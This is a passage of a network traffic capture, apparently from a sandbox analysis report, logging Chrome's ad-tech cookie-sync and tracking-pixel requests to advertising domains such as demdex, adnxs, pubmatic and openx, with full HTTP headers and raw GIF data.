2024-12-10 14:11:04 UTC	700	OUT	GET /rum?cm_dsp_id=88&external_user_id=Z1hL5gAAAMiWjgOJ&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=Z1hL99HM6csAAFiyAbya6wAA; CMPS=3631; CMPRO=3631
2024-12-10 14:11:05 UTC	994	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:04 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8efdd273ff0d429b-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Z1hL99HM6csAAFiyAbya6wAA; Path=/; Domain=casalemedia.com; Expires=Wed, 10 Dec 2025 14:11:04 GMT; Max-Age=31536000; Secure; SameSite=None Pragma: no-cache P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Set-Cookie: CMPRO=3631; Path=/; Domain=casalemedia.com; Expires=Mon, 10 Mar 2025 14:11:04 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T1wBY5qyUEkL8BheGM6BFEnOwRkAjSX4j0hEpePok42nN6pZ7%2BE%2BWT%2FCxPYz%2FuOwsnRTRcD0RQHKfhCEIBVJ7hsun%2FNfRpcPJexp7zMBINTBX%2FMbOdevaJSVGhQhZuF7X3qDpup%2B48th%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-12-10 14:11:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50162	35.244.159.8	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:04 UTC	680	OUT	GET /w/1.0/sd?id=537148856&val=Z1hL5gAAAMiWjgOJ&cc=1 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=cd13dc8f-412b-40d0-bee1-a6fa43a74938\|1733839863
2024-12-10 14:11:05 UTC	377	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:04 GMT Content-Type: image/gif Content-Length: 43 X-Forwarded-For: 8.46.123.175 Vary: Accept Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT P3p: CP="CUR ADM OUR NOR STA NID" Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-10 14:11:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50157	67.199.150.86	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:04 UTC	679	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:11:05 UTC	664	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 14:11:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_218=22978-Z1hL5gAAAMiWjgOJ&KRTB&23194-Z1hL5gAAAMiWjgOJ&KRTB&23209-Z1hL5gAAAMiWjgOJ&KRTB&23244-Z1hL5gAAAMiWjgOJ; domain=pubmatic.com; SameSite=None; secure; expires=Mon, 10-Mar-2025 14:11:05 GMT; path=/ Set-Cookie: PugT=1733839865; domain=pubmatic.com; SameSite=None; secure; expires=Thu, 09-Jan-2025 14:11:05 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-12-10 14:11:05 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50161	185.89.210.180	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:05 UTC	536	OUT	GET /setuid?entity=158&code=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid2=6105356000114051776; anj=dTM7k!M4.FErk#WF']wIg2IlkwPuH[!]tbPl1MwL(!R7qUY%iHP9%(`YWJX(EuDDkcV+g4prw!G<QG=%9sk?bIRwi:w9Ld1t)J26FiqPY/y@Yw#ttU8*z/+p
2024-12-10 14:11:05 UTC	1518	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Tue, 10 Dec 2024 14:11:05 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: b3813e49-3698-4970-9084-f0ccc63fc24a Set-Cookie: XANDR_PANID=pvVAHB_Z3AQpCFOwGcfnj-PXSsMyK-Sp3yKYJ1BnnQKcKQ5oz1GjgGoO4URR0TlVW-eqK0PPFsBYmEKnJeIHtKCLv3N5MVmh4V1USwAyuy4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:11:05 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M4.FErk#WF']wIg2IlkwPuH[!]tc98i_jAez_UZ18%3#d`M]=JDWmpmtyWpJJTwuXD7sQD_y4-D$25A)(rF5k*pv7Pzr@Do6lmf%vhLj)fy)bQayJV; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:11:05 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Tue, 28-Nov-2034 14:11:05 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6105356000114051776; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:11:05 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 958.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com
2024-12-10 14:11:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50164	3.219.79.107	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:05 UTC	597	OUT	GET /sync?nid=adobe HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:11:05 UTC	1311	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Tue, 10 Dec 2024 14:11:05 GMT Location: https://dpm.demdex.net/ibs:dpid=390122&dpuuid=wDRi3Y1XWudtyec5KKvj7ggue68 Set-Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id=s%3A0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee.cC1n3zDyhdfUajg1KrKz%2FEnduQyH5exIiG0vveKiBJ0; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AwDRi3Y1XWudtyec5KKvj7ggue68.1BtdFXujCU3EjthsQO1J%2BECW%2FD5g81GrEa24jcaxRBo; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCD5l-G6BjABOgT87-jmQgSh9yXL.x%2B5sDPFbEMikoYCOcBa1ZniwkzxemFdHZVLjGSO%2BrWM; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKICWK7ROb07V9PmEn2vVZdbPEAOAQWut3_axX1l4WbhH3EHwYBCD5l-G6BjABOgT87-jmQgSh9yXL.x%2B5sDPFbEMikoYCOcBa1ZniwkzxemFdHZVLjGSO%2BrWM; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Content-Length: 100 Connection: Close
2024-12-10 14:11:05 UTC	100	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 2f 69 62 73 3a 64 70 69 64 3d 33 39 30 31 32 32 26 61 6d 70 3b 64 70 75 75 69 64 3d 77 44 52 69 33 59 31 58 57 75 64 74 79 65 63 35 4b 4b 76 6a 37 67 67 75 65 36 38 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://dpm.demdex.net/ibs:dpid=390122&dpuuid=wDRi3Y1XWudtyec5KKvj7ggue68">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50168	151.101.193.44	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:05 UTC	373	OUT	GET /sg/adobe/1/cm?gdpr=0&gdpr_consent= HTTP/1.1 Host: trc.taboola.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:11:06 UTC	595	IN	HTTP/1.1 200 OK Connection: close Server: nginx Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 16537 Accept-Ranges: bytes Date: Tue, 10 Dec 2024 14:11:06 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-ewr-kewr1740062-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1733839866.163883,VS0,VE18 X-vcl-time-ms: 18 transfer-encoding: chunked
2024-12-10 14:11:06 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-12-10 14:11:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-12-10 14:11:06 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50169	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:06 UTC	1200	OUT	GET /ibs:dpid=121998&dpuuid=2c055873a58a6493ce40f14d6988a56e HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:06 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:06 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 9m8fFiVTRMc= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-00243b50e.edge-irl1.demdex.com 4 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:06 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:06 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50172	104.18.26.193	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:06 UTC	464	OUT	GET /rum?cm_dsp_id=88&external_user_id=Z1hL5gAAAMiWjgOJ&C=1 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=Z1hL99HM6csAAFiyAbya6wAA; CMPS=3631; CMPRO=3631
2024-12-10 14:11:06 UTC	992	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8efdd27f5aeb4228-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Z1hL99HM6csAAFiyAbya6wAA; Path=/; Domain=casalemedia.com; Expires=Wed, 10 Dec 2025 14:11:06 GMT; Max-Age=31536000; Secure; SameSite=None Pragma: no-cache P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Set-Cookie: CMPRO=3631; Path=/; Domain=casalemedia.com; Expires=Mon, 10 Mar 2025 14:11:06 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rzHjUtbxQK2dQukpMV%2BDVjDwhMbVZnxvt5t08kYd3sPaJMOCOj8LqDp1%2Fm3AIBsc3%2B115hAnQ3Ba7tSxS%2FwT1YIepkf7ktBI2nD5%2FTFgjCy8aYFKJb9MsrxFO3v%2B%2FogFitBN6RfN2cQ1mA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-12-10 14:11:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50174	34.98.64.218	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:06 UTC	444	OUT	GET /w/1.0/sd?id=537148856&val=Z1hL5gAAAMiWjgOJ&cc=1 HTTP/1.1 Host: us-u.openx.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=cd13dc8f-412b-40d0-bee1-a6fa43a74938\|1733839863
2024-12-10 14:11:07 UTC	377	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:06 GMT Content-Type: image/gif Content-Length: 43 X-Forwarded-For: 8.46.123.175 Vary: Accept P3p: CP="CUR ADM OUR NOR STA NID" Pragma: no-cache Cache-Control: private, max-age=0, no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-10 14:11:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50173	157.240.195.35	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:06 UTC	636	OUT	GET /fr/b.php?p=1531105787105294&e=Z1hL5gAAAMiWjgOJ&t=2592000&o=0 HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:11:07 UTC	1774	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/gif report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown&brsid=7446785526325685567"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} Date: Tue, 10 Dec 2024 06:11:07 PST document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), browsing-topics=(self), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewport-width=(), ch-width=(), clipboard-read=(self), clipboard-write=(self), compute-pressure=(), display-capture=(self), encrypted-media=(self), fullscreen=(self), gamepad=*, geolocation=(self), gyroscope=(), hid=(), idle-detection=(), interest-cohort=(self), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(self), midi=(), otp-credentials=(), payment=(), picture-in-picture=(self), private-state-token-issuance=(), publickey-credentials-get=(self), screen-wake-lock=(), serial=(), shared-storage=(), shared-storage-select-url=(), private-state-token-redemption=(), usb=(), unload=(self), window-management=(), xr-spatial-tracking=(self);report-to="permissions_policy" cross-origin-resource-policy: cross-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: public Cache-Control: public, max-age=0 Expires: Tue, 10 Dec 2024 06:11:07 PST X-Content-Type-Options: nosniff
2024-12-10 14:11:07 UTC	656	IN	Data Raw: 72 65 70 6f 72 74 69 6e 67 2d 65 6e 64 70 6f 69 6e 74 73 3a 20 63 6f 6f 70 5f 72 65 70 6f 72 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 72 6f 77 73 65 72 5f 72 65 70 6f 72 74 69 6e 67 2f 63 6f 6f 70 2f 3f 6d 69 6e 69 6d 69 7a 65 3d 30 22 2c 20 64 65 66 61 75 6c 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 72 6f 77 73 65 72 5f 65 72 72 6f 72 5f 72 65 70 6f 72 74 73 2f 3f 64 65 76 69 63 65 5f 6c 65 76 65 6c 3d 75 6e 6b 6e 6f 77 6e 26 62 72 73 69 64 3d 37 34 34 36 37 38 35 35 32 36 33 32 35 36 38 35 35 36 37 22 2c 20 70 65 72 6d 69 73 73 69 6f 6e 73 5f 70 6f 6c 69 63 79 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 Data Ascii: reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown&brsid=7446785526325685567", permissions_policy="https://www.facebook.com/aja
2024-12-10 14:11:07 UTC	54	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bGIF89a!,D;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50176	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:11:07 UTC	1431	OUT	GET /ibs:dpid=390122&dpuuid=wDRi3Y1XWudtyec5KKvj7ggue68 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dpm=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975\|771-1-1733839846084\|782-1-1733839846194\|992-1-1733839846305\|1123-1-1733839846408\|903-1-1733839846520\|1175-1-1733839846637\|1957-1-1733839846748\|3047-1-1733839846856\|22054-1-1733839846973\|30646-1-1733839847082\|53196-1-1733839847191\|38117-1-1733839847297\|57282-1-1733839847406\|49276-1-1733839847516\|72352-1-1733839847637\|80742-1-1733839847753\|81309-1-1733839848301\|121998-1-1733839848421\|144228-1-1733839848535\|144229-1-1733839848646\|144230-1-1733839848757\|144231-1-1733839848872\|144232-1-1733839848975\|144233-1-1733839849082\|144234-1-1733839849190\|144235-1-1733839849297\|144236-1-1733839849412\|144237-1-1733839849520\|147592-1-1733839849628\|390122-1-1733839849739
2024-12-10 14:11:07 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:11:07 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: ciBnavKDS68= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0515bca05.edge-irl1.demdex.com 8 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:07 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:11:07 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:11:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50175	67.199.150.86	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

